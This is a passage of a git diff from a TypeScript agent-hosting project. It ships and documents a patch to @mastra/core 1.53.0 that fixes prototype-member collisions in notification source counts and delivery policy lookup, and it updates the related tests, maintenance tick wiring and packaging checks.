`toString`, `__proto__` or another prototype member is counted against the inherited value and rendered as text rather than a number ([mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693)). `resolveNotificationDeliveryDecision()` indexes its `sources` policy map without an own-property test, so those same source names select an inherited function instead of falling through to the configured priority or default action, including `discard` ([mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694)). The priority-keyed lookups beside both sites take a closed set that flowsafe validates before a record reaches them. + +Flowsafe notification delivery depends on both corrections: it inspects the summary core renders before sending it and records a receipt against that content, and it hosts ordinary core agents whose configured source policy the second defect bypasses. Flowsafe ships the correction as a patch file, published at `node_modules/@proofoftech/flowsafe/patches/@mastra__core@1.53.0.patch`. Apply it at your application root; installing flowsafe does not apply it for you. + +### Apply it with pnpm + +Copy the file into your application's `patches/` directory and record it in your root `package.json`: + +```bash +mkdir -p patches +cp node_modules/@proofoftech/flowsafe/patches/@mastra__core@1.53.0.patch patches/ +``` + +```json +{ + "pnpm": { + "patchedDependencies": { + "@mastra/core@1.53.0": "patches/@mastra__core@1.53.0.patch" + } + } +} +``` + +Then run `pnpm install`. pnpm applies the patch while it extracts the package, so it needs no install script. + +With the patch, `summary.bySource` is a null-prototype object: it carries no inherited methods such as `hasOwnProperty`. Read it with `Object.hasOwn()` or `Object.entries()`. + +### Apply it with npm or Yarn + +Copy the file the same way, then apply it after every install: + +```json +{ + "scripts": { + "postinstall": "patch -p1 -R -s -f --dry-run -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch >/dev/null || patch -p1 -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch" + } +} +``` + +The patch file is fed on standard input rather than through `-i` because `-d` changes directory before a relative `-i` path is resolved. The reverse dry run succeeds only on an already-patched tree, so the second leg runs exactly once per fresh install. + +This route requires GNU `patch` on `PATH`, and Yarn only with `nodeLinker: node-modules`. When both legs fail on `1.53.0`, delete `node_modules/@mastra/core` and reinstall rather than re-running the command. When they fail because `@mastra/core` is no longer `1.53.0`, remove the `postinstall` script: the patch does not apply to other versions. + +The patch applies to `@mastra/core` `1.53.0` only. When you upgrade `@mastra/core`, remove the `patchedDependencies` entry or the `postinstall` script before installing, and check whether the release carries the upstream fixes. On an unpatched install flowsafe refuses to construct its notification dispatch tick with an error naming this section, and answers notification dispatch requests with a 502 whose server log line names it. + +### Confirm the patch is applied + +```bash +node -e "const {summarizeNotifications}=require('@mastra/core/notifications');console.log(typeof summarizeNotifications([{id:'n',threadId:'t',source:'constructor',kind:'k',priority:'low',status:'pending',summary:'s',createdAt:new Date(0),updatedAt:new Date(0)}]).bySource.constructor)" +``` + +This prints `number` with the patch applied and `string` without it. + +The `postinstall` command above is exercised in continuous integration against a scratch application root holding an installed copy of the package: it applies the shipped patch on the first run and is a no-op on the second. No npm or Yarn install is exercised. + ## Define an approval gate A gate suspends with a static connector list. The host bridge copies that server-authored list into the approval record, and `approvalGrantProvider()` derives the matching capability on resume. diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md index 88de131a..af51d9cf 100644 --- a/docs/maintainer-guide.md +++ b/docs/maintainer-guide.md @@ -16,7 +16,7 @@ corepack enable pnpm install --frozen-lockfile ``` -The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageManager` pins the expected pnpm version. `pnpm-workspace.yaml` applies a seven-day minimum package release age with documented exceptions for lockstep or tool-imposed dependencies. Versioned overrides for `js-yaml@3`, `js-yaml@4`, and `nanoid@3` pin each legacy line forward until a maintainer bumps it by hand. +The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageManager` pins the expected pnpm version. `pnpm-workspace.yaml` applies a seven-day minimum package release age with documented exceptions for lockstep or tool-imposed dependencies. Versioned overrides for `js-yaml@3`, `js-yaml@4`, and `nanoid@3` pin each legacy line forward until a maintainer bumps it by hand. GNU `patch` must be on `PATH`: the packed agent-host proof applies the shipped `@mastra/core` patch with it. ## Verification @@ -104,9 +104,28 @@ CI tests the declared supported peer version as part of the normal gate. A separ Treat a red canary as a release investigation even though it does not block a merge. Update the declared peer range only after tests, workerd proofs, package tarball probes, and migration notes pass. +The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. While upstream carries [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694), expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct `createNotificationDispatchTick()` or dispatch notifications through `createThreadSignalRoutes()` against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary whose probe cases pass against a newer core is the signal that the patch can be retired, through the procedure below. + +Retiring the `@mastra/core` patch, once a release carrying the upstream fixes is adopted, reaches: + +- `packages/flowsafe/patches/@mastra__core@1.53.0.patch`. +- The root `package.json` `pnpm.patchedDependencies` entry, and the `patchedDependencies` block and `patch_hash` keys in `pnpm-lock.yaml`, which `pnpm install` regenerates. +- The `@proofoftech/flowsafe` `files` entry that publishes the patch. +- The construction and dispatch refusal in `packages/flowsafe/src/signals/notification-dispatch.ts` and its call site in `packages/flowsafe/src/signals/thread-do-routes.ts`. +- The manifest edit in the `mastra-compat` job in `.github/workflows/ci.yml`. +- [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore) in the getting-started guide. +- The `packages/flowsafe/README.md` compatibility bullet, own-property sentence and Apache-2.0 section 4(b) notice. +- The notification sentences in [Durable agents](durable-agents.md). +- The patch sentences in `packages/flowsafe/deploy/README.md` and `packages/agent-starter/README.md`. +- The exception paragraph in `CONTRIBUTING.md`. +- The unpatched, patched and tool-neutral proofs in `packages/flowsafe/scripts/agent-host-pack-test.mjs`. +- The probe and gating in `packages/flowsafe/src/signals/notification-source-keys.test.ts`. After an upstream fix its patched-behavior cases stay as regression coverage of upstream; the gating goes. + +A changeset describing the patch clears itself at release. + The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run. -A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and Breakwater's `forwardClassified` allowlist is pruned of every name the new pin now exposes, which its own test asserts. +A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and Breakwater's `forwardClassified` allowlist is pruned of every name the new pin now exposes, which its own test asserts. The `@mastra/core` patch is retired or re-cut in the same commit, through the procedure above. Per-suspension deadlines couple to one undocumented Mastra behavior: a step arms a deadline through a reserved key in the payload it hands `suspend()`, which only reaches flowsafe because Mastra substitutes the schema-parsed suspend payload into the run summary (verified in the declared peer, 1.53.0). A change there — a different substitution, a different key for a nested suspension, or resume-data validation moving — silently disarms every deadline. Tripwire tests in `packages/flowsafe/src/do-runner/runtime.test.ts` pin the observed behavior: the reserved key surviving a schema that declares it, being stripped by a strict schema that does not, surviving a loose schema, and a nested suspension being refused rather than armed. Check them on every Mastra upgrade and treat a failure as a behavior change to document, never as a test to relax. diff --git a/package.json b/package.json index c0c43380..771fd8d5 100644 --- a/package.json +++ b/package.json @@ -86,6 +86,9 @@ "js-yaml@4": "4.3.1", "nanoid@3": "3.3.17", "undici": "7.29.0" + }, + "patchedDependencies": { + "@mastra/core@1.53.0": "packages/flowsafe/patches/@mastra__core@1.53.0.patch" } } } diff --git a/packages/agent-starter/README.md b/packages/agent-starter/README.md index 955c8a6f..6a407643 100644 --- a/packages/agent-starter/README.md +++ b/packages/agent-starter/README.md @@ -56,6 +56,8 @@ All six use the deployment's D1 database. `createComposedStorage()` overlays not ## Provision one physical deployment +Application roots outside this workspace must apply the `@mastra/core` patch flowsafe ships — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore); this workspace applies it through the root `pnpm.patchedDependencies`. + Each organization needs a dedicated Worker, D1 database, Durable Object namespaces, and internal Durable Object credential. Replace every `replace-me` segment in `wrangler.jsonc` with the stable lowercase deployment tag before creating resources. For tag `acme`, use Worker `anchorage-agent-starter-acme` and D1 database `anchorage-agent-starter-acme`; the unique Worker name creates the deployment's Durable Object namespaces. Then stamp the same tag into the new D1 database before any application schema or traffic: ```bash diff --git a/packages/agent-starter/src/maintenance.ts b/packages/agent-starter/src/maintenance.ts index 8d3f4658..7e54a4ae 100644 --- a/packages/agent-starter/src/maintenance.ts +++ b/packages/agent-starter/src/maintenance.ts @@ -241,15 +241,25 @@ export function starterMaintenanceTick(env: Env): () => Promise { }, audit, }); - const notifications = createNotificationDispatchTick({ - storage: notificationsStore(env.DB), - topology: threadTopology, - resolveContext: () => systemContext(env, 'notification-dispatch'), - limit: 100, - executionFence: fence, - }); + // Built on first use rather than at wiring time: an unpatched @mastra/core + // refuses this construction, and that refusal must fail the notifications + // leg of a pass, not the schedule leg that shares this tick nor the wiring + // of the maintenance duty. + let notifications: + | ReturnType + | undefined; + const notificationTick = () => { + notifications ??= createNotificationDispatchTick({ + storage: notificationsStore(env.DB), + topology: threadTopology, + resolveContext: () => systemContext(env, 'notification-dispatch'), + limit: 100, + executionFence: fence, + }); + return notifications(); + }; return async () => ({ schedules: await schedules(), - notifications: await notifications(), + notifications: await notificationTick(), }); } diff --git a/packages/agent-starter/test/durable-object-lifecycle.test.ts b/packages/agent-starter/test/durable-object-lifecycle.test.ts index a315cad8..746e9143 100644 --- a/packages/agent-starter/test/durable-object-lifecycle.test.ts +++ b/packages/agent-starter/test/durable-object-lifecycle.test.ts @@ -55,12 +55,14 @@ function sqliteUnitDatabase(db: SqliteDatabase): unknown { function statement(sql: string, params: unknown[]): Record { const execute = () => { - const outcome = db.prepare(sql).run(...params) as { - changes?: number | bigint; + const results = db.prepare(sql).all(...params); + const outcome = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; }; return { success: true, - meta: { changes: Number(outcome?.changes ?? 0) }, + results, + meta: { changes: Number(outcome.count) }, }; }; return { diff --git a/packages/agent-starter/test/maintenance-tick-refusal.test.ts b/packages/agent-starter/test/maintenance-tick-refusal.test.ts new file mode 100644 index 00000000..d2559b93 --- /dev/null +++ b/packages/agent-starter/test/maintenance-tick-refusal.test.ts @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: Apache-2.0 +// The maintenance tick against an @mastra/core that refuses notification +// dispatch construction. The mocks are file-scoped, so these cases live apart +// from the rest of the starter's tick coverage. + +import type { + ScheduleTickOptions, + ScheduleTickResult, +} from '@proofoftech/flowsafe/schedules'; +import type { + NotificationDispatchTickOptions, + NotificationDispatchTickResult, +} from '@proofoftech/flowsafe/signals'; +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +import { starterMaintenanceTick } from '../src/maintenance.js'; + +const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/; + +// Hoisted with the `vi.mock` factories that reference them: a factory runs +// above module-scope bindings, so one closing over a plain `const` throws +// `Cannot access '' before initialization` at import. +const mocks = vi.hoisted(() => { + const scheduleTick = vi.fn( + async (): Promise => ({ + due: 0, + fired: 0, + skipped: 0, + failed: 0, + deferred: 0, + reconciled: 0, + lost: 0, + }), + ); + return { + scheduleTick, + createScheduleTick: vi.fn( + (_options: ScheduleTickOptions): (() => Promise) => + scheduleTick, + ), + createNotificationDispatchTick: vi.fn( + ( + _options: NotificationDispatchTickOptions, + ): (() => Promise) => { + throw new TypeError( + 'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + ); + }, + ), + }; +}); + +// The spread keeps every other export live: storage.ts imports the D1 storage +// classes from these same two barrels. +vi.mock('@proofoftech/flowsafe/schedules', async (importOriginal) => ({ + ...(await importOriginal()), + createScheduleTick: mocks.createScheduleTick, +})); + +vi.mock('@proofoftech/flowsafe/signals', async (importOriginal) => ({ + ...(await importOriginal()), + createNotificationDispatchTick: mocks.createNotificationDispatchTick, +})); + +/** + * A namespace stub. The tick builds its run/thread topologies eagerly, and no + * pass here addresses one — reaching this is the failure. + */ +function namespace(): Env['RUNNER'] { + const unreachable = () => { + throw new Error( + 'a fenced maintenance pass addressed a Durable Object — it claimed work', + ); + }; + return { + idFromName: unreachable, + idFromString: unreachable, + newUniqueId: unreachable, + get: unreachable, + } as unknown as Env['RUNNER']; +} + +/** + * A plain object stands in for the D1 binding: both tick factories are mocked, + * and the wiring-time store calls only key a `WeakMap` on the binding, so no + * statement here reads a database. + */ +function starterEnv(): Env { + return { + DB: {} as Env['DB'], + DEPLOYMENT_TENANT: 'acme', + DEPLOYMENT_IDENTITY_SECRET: 'test-deployment-identity-secret-0001', + RUNNER: namespace(), + THREAD: namespace(), + } as unknown as Env; +} + +describe('starter maintenance tick against an unpatched core', () => { + beforeEach(() => { + mocks.scheduleTick.mockClear(); + mocks.createScheduleTick.mockClear(); + mocks.createNotificationDispatchTick.mockClear(); + }); + + it('wires the duty without constructing the notification tick', () => { + expect(() => starterMaintenanceTick(starterEnv())).not.toThrow(); + expect(mocks.createNotificationDispatchTick).not.toHaveBeenCalled(); + }); + + it('fails the notifications leg after the schedule leg has run', async () => { + const tick = starterMaintenanceTick(starterEnv()); + + await expect(tick()).rejects.toThrow(PATCH_MESSAGE); + + expect(mocks.scheduleTick).toHaveBeenCalledTimes(1); + expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(1); + }); + + it('retries the refused construction on the next pass', async () => { + const tick = starterMaintenanceTick(starterEnv()); + + await expect(tick()).rejects.toThrow(PATCH_MESSAGE); + await expect(tick()).rejects.toThrow(PATCH_MESSAGE); + + expect(mocks.scheduleTick).toHaveBeenCalledTimes(2); + expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(2); + }); +}); diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 76aa79ef..627bf668 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -25,7 +25,7 @@ Compatibility: - Node.js 22.13.0 or later (engine range `>=22.13.0`) - ESM only - TypeScript `moduleResolution: "NodeNext"`, `"Node16"`, or `"Bundler"` -- `@mastra/core` `1.53.0` +- `@mastra/core` `1.53.0`, with the patch this package ships under `patches/` applied at your application root — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore) - `react` and `react-dom` `>=18 <20` (React 18 or 19) for the optional approval UI - `@proofoftech/breakwater` `>=0.13.0 <1.0.0` when used - host-provided Wrangler `>=4.118 <5` for the optional `flowsafe-provision` CLI @@ -439,7 +439,13 @@ The thread routes reject a signal whose `tagName` is not an XML name, and drop a Configure `ThreadSignalRoutesOptions.contentPolicy` when signal content needs a domain policy before it becomes model input. The Thread Durable Object invokes this structural callback for direct ingestion, provider delivery, schedule fires, and notification dispatch. Its `text` is Mastra's canonical escaped XML representation. A denial stops direct delivery with 422, settles a scheduled fire as discarded, or terminally discards the affected notification. -A policy failure is opaque, and each lane recovers the way it already recovers from any other failure: direct delivery returns 503, schedule state is left unsettled so the lease expires and a later tick retries, and notification dispatch uses its existing backoff. A webhook whose matched deliveries the deployment could not decide is answered with 503 so the provider's own at-least-once redelivery recovers it; each delivery carries a dedupe key derived from the signed bytes and the subscription, so a redelivery coalesces into a still-pending row rather than duplicating it. A content denial is terminal and answers 2xx, because redelivering the identical bytes would only be denied again. Poll deliveries report the same three outcomes and depend on the adapter re-reporting state it has not seen accepted. Give a network-backed policy its own timeout and failure budget inside the callback; FlowSafe imposes neither. +A policy failure is opaque: direct delivery returns 503, schedule state is left unsettled so the lease expires and a later tick retries, and notification dispatch records a bounded retry. A webhook whose matched deliveries the deployment could not decide is answered with 503 so the provider's own at-least-once redelivery recovers it; each delivery carries a dedupe key derived from the signed bytes and the subscription, so a redelivery coalesces into a still-pending row rather than duplicating it. A content denial is terminal and answers 2xx, because redelivering the identical bytes would only be denied again. Poll deliveries report the same three outcomes and depend on the adapter re-reporting state it has not seen accepted. Give a network-backed policy its own timeout and failure budget inside the callback; FlowSafe imposes neither. + +Configure the same positive safe-integer `maxDeliveryAttempts` on `createNotificationDispatchTick()` and `createThreadSignalRoutes()`. Both default to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. A recorded failure at the bound discards the notification with `deliveryReason: "delivery-attempts-exhausted"`, retaining its count and last error. An already-exhausted row is never sent; its discard is conditional on the observed record remaining current. Below the bound, existing retry delays apply. + +Dispatch requires `NotificationDeliveryStorage`; `D1NotificationsStorage` implements it. A custom store's `updateNotificationDeliveryIfUnchanged()` must compare the captured observation and apply the failure patch atomically against its other writers. Ordinary Core notification ingestion remains supported. See the [delivery and receipt guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#bound-notification-delivery) for custom-store migration, lost responses and receipt retention. + +Summary source counts and a configured source delivery policy read own properties only where the shipped `@mastra/core` patch is applied; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses to construct its notification dispatch tick and refuses notification dispatch on an unpatched install. Adapt Breakwater without adding a FlowSafe runtime dependency on it: @@ -575,3 +581,5 @@ pnpm --filter @proofoftech/flowsafe spike:verify:llm ## License Apache-2.0. + +`patches/@mastra__core@1.53.0.patch` is a modification of `@mastra/core` `1.53.0`, which is licensed under Apache-2.0 and copyright its authors. It changes that package's published runtime chunks to correct the two defects reported as mastra-ai/mastra#23693 and mastra-ai/mastra#23694. diff --git a/packages/flowsafe/deploy/README.md b/packages/flowsafe/deploy/README.md index 47f9ab44..48106e18 100644 --- a/packages/flowsafe/deploy/README.md +++ b/packages/flowsafe/deploy/README.md @@ -42,6 +42,8 @@ Run and thread ids are server-minted opaque values. Resource ids are validated h ## Deploy the Worker +Apply the `@mastra/core` patch flowsafe ships at your application root before deploying — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore). + Run these commands from `packages/flowsafe`: ```bash diff --git a/packages/flowsafe/package.json b/packages/flowsafe/package.json index 7a495776..98c5e35a 100644 --- a/packages/flowsafe/package.json +++ b/packages/flowsafe/package.json @@ -6,6 +6,7 @@ }, "files": [ "dist", + "patches/@mastra__core@1.53.0.patch", "deployment-identity-protocol.d.mts", "deployment-identity-protocol.mjs", "scripts/seed-deployment-identity.mjs", diff --git a/packages/flowsafe/patches/@mastra__core@1.53.0.patch b/packages/flowsafe/patches/@mastra__core@1.53.0.patch new file mode 100644 index 00000000..df500543 --- /dev/null +++ b/packages/flowsafe/patches/@mastra__core@1.53.0.patch @@ -0,0 +1,54 @@ +diff --git a/dist/chunk-3S5BFAEP.js b/dist/chunk-3S5BFAEP.js +index e8a966d17d01088e9543c4fd21b7bb3895ebecc5..bb78899892e4c5ed81c7035757ab69610851b353 100644 +--- a/dist/chunk-3S5BFAEP.js ++++ b/dist/chunk-3S5BFAEP.js +@@ -33054,7 +33054,8 @@ async function resolveNotificationDeliveryDecision({ + }) { + const custom = await config?.decide?.(input); + if (custom) return normalizeDecision(custom); +- const sourceDecision = config?.sources?.[input.record.source]; ++ const sources = config?.sources; ++ const sourceDecision = sources && Object.hasOwn(sources, input.record.source) ? sources[input.record.source] : void 0; + if (sourceDecision) return normalizeDecision(sourceDecision); + const priorityDecision = config?.priorities?.[input.record.priority]; + if (priorityDecision) return normalizeDecision(priorityDecision); +diff --git a/dist/chunk-ODHD3TLJ.cjs b/dist/chunk-ODHD3TLJ.cjs +index dad0cd85b2523564c8ca047a815b02f7524368ab..36c9710ca0439f19371efa0be7ef56deb18de906 100644 +--- a/dist/chunk-ODHD3TLJ.cjs ++++ b/dist/chunk-ODHD3TLJ.cjs +@@ -33085,7 +33085,8 @@ async function resolveNotificationDeliveryDecision({ + }) { + const custom = await config?.decide?.(input); + if (custom) return normalizeDecision(custom); +- const sourceDecision = config?.sources?.[input.record.source]; ++ const sources = config?.sources; ++ const sourceDecision = sources && Object.hasOwn(sources, input.record.source) ? sources[input.record.source] : void 0; + if (sourceDecision) return normalizeDecision(sourceDecision); + const priorityDecision = config?.priorities?.[input.record.priority]; + if (priorityDecision) return normalizeDecision(priorityDecision); +diff --git a/dist/chunk-P4Y2BJL7.js b/dist/chunk-P4Y2BJL7.js +index ed31bf020572e5c9c3abf7ca8deb9eb144804e0c..a0837c451f857d417c9b11c9cd6aeaadf2eec040 100644 +--- a/dist/chunk-P4Y2BJL7.js ++++ b/dist/chunk-P4Y2BJL7.js +@@ -7558,7 +7558,7 @@ function summarizeNotifications(notifications) { + resourceId: first?.resourceId, + agentId: first?.agentId, + pending: 0, +- bySource: {}, ++ bySource: Object.create(null), + byPriority: {}, + notificationIds: [] + } +diff --git a/dist/chunk-XAQAI6CU.cjs b/dist/chunk-XAQAI6CU.cjs +index 2762c17e2dcd8f0ecb35546d2c5b7ae9cf0ce568..0f4975961abe081d0bd3ff7303d4f50046bee23f 100644 +--- a/dist/chunk-XAQAI6CU.cjs ++++ b/dist/chunk-XAQAI6CU.cjs +@@ -7560,7 +7560,7 @@ function summarizeNotifications(notifications) { + resourceId: first?.resourceId, + agentId: first?.agentId, + pending: 0, +- bySource: {}, ++ bySource: Object.create(null), + byPriority: {}, + notificationIds: [] + } diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index d1e72442..50e92b0c 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -1,6 +1,12 @@ +// Packs flowsafe and breakwater and proves the published surface against clean +// consumers. It installs an ordinary consumer that keeps the unpatched +// @mastra/core and a consumer that applies the patch this package ships +// through pnpm patchedDependencies. import assert from 'node:assert/strict'; -import { execFileSync } from 'node:child_process'; +import { execFileSync, spawnSync } from 'node:child_process'; import { + copyFileSync, + cpSync, existsSync, mkdirSync, mkdtempSync, @@ -30,6 +36,249 @@ function run(command, args, cwd = packageRoot) { }); } +/** The ordinary consumer keeps @mastra/core's inherited-source-key defect. */ +function assertUnpatchedConsumerDefect(consumer) { + const sourceKeyProbe = `import { + resolveNotificationDeliveryDecision, + summarizeNotifications, +} from '@mastra/core/notifications'; + +const record = (source) => ({ + id: 'n', + threadId: 't', + source, + kind: 'k', + priority: 'low', + status: 'pending', + summary: 's', + createdAt: new Date(0), + updatedAt: new Date(0), +}); +const config = { sources: {}, default: 'discard' }; +const decide = (source) => + resolveNotificationDeliveryDecision({ + config, + record: record(source), + threadState: 'idle', + now: new Date(0), + }); + +console.log( + JSON.stringify({ + bySourceType: typeof summarizeNotifications([record('constructor')]) + .bySource.constructor, + ordinary: (await decide('ordinary')).action ?? null, + colliding: (await decide('constructor')).action ?? null, + }), +); +`; + + writeFileSync(join(consumer, 'source-key-probe.mjs'), sourceKeyProbe); + const unpatchedProbe = JSON.parse( + execFileSync(process.execPath, ['source-key-probe.mjs'], { + cwd: consumer, + encoding: 'utf8', + stdio: 'pipe', + }), + ); + // Unpatched, the source map resolves Object.prototype.constructor, and + // normalizeDecision hands that function back as the decision, so it carries + // no action at all. + assert.deepEqual(unpatchedProbe, { + bySourceType: 'string', + ordinary: 'discard', + colliding: null, + }); +} + +/** A consumer that records the shipped patch through pnpm installs it patched. */ +function assertPatchedConsumerInstall(consumer, patchName, shippedPatch) { + const patchedConsumer = join(temporary, 'consumer-patched'); + mkdirSync(patchedConsumer); + mkdirSync(join(patchedConsumer, 'patches')); + copyFileSync(shippedPatch, join(patchedConsumer, 'patches', patchName)); + const patchedConsumerManifest = JSON.parse( + readFileSync(join(consumer, 'package.json'), 'utf8'), + ); + patchedConsumerManifest.name = 'flowsafe-agent-host-patched-consumer'; + patchedConsumerManifest.pnpm = { + patchedDependencies: { '@mastra/core@1.53.0': `patches/${patchName}` }, + }; + writeFileSync( + join(patchedConsumer, 'package.json'), + `${JSON.stringify(patchedConsumerManifest, null, 2)}\n`, + ); + copyFileSync( + join(consumer, 'pnpm-workspace.yaml'), + join(patchedConsumer, 'pnpm-workspace.yaml'), + ); + copyFileSync(join(consumer, '.npmrc'), join(patchedConsumer, '.npmrc')); + copyFileSync( + join(consumer, 'source-key-probe.mjs'), + join(patchedConsumer, 'source-key-probe.mjs'), + ); + // notification-runtime.mjs imports sqlite-fixture.mjs from its own directory, + // and its package specifiers resolve here because this manifest clones the + // ordinary consumer's dependencies. + copyFileSync( + join(consumer, 'sqlite-fixture.mjs'), + join(patchedConsumer, 'sqlite-fixture.mjs'), + ); + run('pnpm', ['install', '--ignore-scripts'], patchedConsumer); + const patchedProbe = JSON.parse( + execFileSync(process.execPath, ['source-key-probe.mjs'], { + cwd: patchedConsumer, + encoding: 'utf8', + stdio: 'pipe', + }), + ); + assert.deepEqual(patchedProbe, { + bySourceType: 'number', + ordinary: 'discard', + colliding: 'discard', + }); + // Notification delivery bookkeeping runs only against a patched core, so its + // receipts are proved in this consumer rather than in the ordinary one. + writeFileSync( + join(patchedConsumer, 'notification-runtime.mjs'), + `import assert from 'node:assert/strict'; +import * as approvals from '@proofoftech/flowsafe/approval-api'; +import * as doRunner from '@proofoftech/flowsafe/do-runner'; +import * as signals from '@proofoftech/flowsafe/signals'; +import { InMemoryStore } from '@mastra/core/storage'; +import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs'; +const notificationSql = openSqlite(); +const notificationStore = new signals.D1NotificationsStorage(sqliteUnitDatabase(notificationSql)); +const notificationNow = new Date(); +await notificationStore.createNotification({ + id: 'packed-notification', threadId: 'notification-thread', resourceId: 'notification-thread', agentId: 'writer', + source: 'packed', kind: 'changed', summary: 'delivery receipt', deliverAt: notificationNow, +}); +const notificationContext = approvals.createPrincipalActorContext({ + principal: approvals.trustAutomationPrincipal({ kind: 'system', id: 'notification-dispatch', purpose: 'notification.dispatch' }), + storeFactory: new approvals.InMemoryApprovalStoreFactory(), + buildService: () => { throw new Error('notification receipt does not use approval service'); }, +}); +const notificationTickOptions = { + storage: notificationStore, + topology: { send: async () => new Response(null, { status: 404 }) }, + resolveContext: () => notificationContext, + now: () => notificationNow, + executionFence: 'none', + maxDeliveryAttempts: 1, +}; +const notificationTick = signals.createNotificationDispatchTick(notificationTickOptions); +assert.deepEqual(await notificationTick(), { due: 1, delivered: 0, failed: 0, discarded: 1 }); +const notificationReceipt = await notificationStore.getNotification({ threadId: 'notification-thread', id: 'packed-notification' }); +assert.equal(notificationReceipt.status, 'discarded'); +assert.equal(notificationReceipt.deliveryAttempts, 1); +assert.equal(notificationReceipt.deliveryReason, 'delivery-attempts-exhausted'); +assert.match(notificationReceipt.lastDeliveryError, /404/); +assert.equal(notificationReceipt.lastDeliveryAttemptAt.toISOString(), notificationNow.toISOString()); +assert.equal(notificationReceipt.discardedAt instanceof Date, true); +assert.equal(notificationReceipt.deliverAt, undefined); +assert.equal(notificationReceipt.summaryAt, undefined); +assert.deepEqual(await notificationStore.listDueNotifications({ now: new Date(notificationNow.getTime() + 60000) }), []); +const coreNotificationStore = await new InMemoryStore().getStore('notifications'); +assert.ok(coreNotificationStore); +assert.equal(typeof coreNotificationStore.getNotification, 'function'); +assert.throws(() => signals.createNotificationDispatchTick({ ...notificationTickOptions, storage: coreNotificationStore }), TypeError); +let unsupportedNotificationReads = 0; +const unsupportedNotificationRoutes = signals.createThreadSignalRoutes({ + resolveAgent: () => ({ id: 'writer' }), + resolveResourceId: () => 'notification-thread', + resolveNotificationsStorage: () => ({ + getNotification: async () => { unsupportedNotificationReads++; return null; }, + }), +}); +const notificationLog = console.error; +let unsupportedNotificationResponse; +try { + console.error = () => {}; + unsupportedNotificationResponse = await unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', { + method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }), + }), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() 